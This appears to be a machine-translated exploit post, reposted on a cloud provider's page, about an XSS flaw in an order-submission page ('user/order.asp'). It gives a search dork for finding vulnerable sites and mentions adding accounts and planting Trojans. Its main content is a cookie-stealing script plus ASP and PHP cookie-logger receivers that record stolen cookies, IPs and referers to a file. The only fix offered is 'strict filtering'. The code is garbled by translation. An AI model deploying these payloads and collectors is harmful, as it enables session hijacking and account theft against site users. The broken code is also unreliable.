XSS and repair caused by lax filtering of out-of-star order submission

Source: Internet
Author: User

Google or baidu search inurl: user/order. asp? Type = VM

Currently, only XSS will steal cookies
You can add an account to mount Trojans in the background, etc.
 
 
XXS cookie Stealing code
<Script> document. write (' '); </script>
 
News. asp code:
<%
Msg = Request. ServerVariables ("QUERY_STRING ")
Testfile = Server. MapPath ("cook.txt ")
Set fs = server. CreateObject ("scripting. filesystemobject ")
Set thisfile = fs. OpenTextFile (testfile, 8, True, 0)
Thisfile. Writeline ("" & msg &"")
Thisfile. close
Set fs = nothing
%>
 
PHP code:
<? Php
$ Cookie = $ _ GET ['C'];
$ Ip = getenv ('remote _ ADDR ');
$ Time = date ("j F, Y, g: I ");
$ Referer = getenv ('HTTP _ referer ');
$ Fp = fopen('cook.txt ', 'A ');
Fwrite ($ fp, 'cookie :'. $ cookie. '<br> IP :'. $ ip. '<br> Date and Time :'. $ time. '<br> Referer :'. $ referer. '<br> ');
Fclose ($ fp );
?>
BY: CY

Fixed: strict Filtering

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.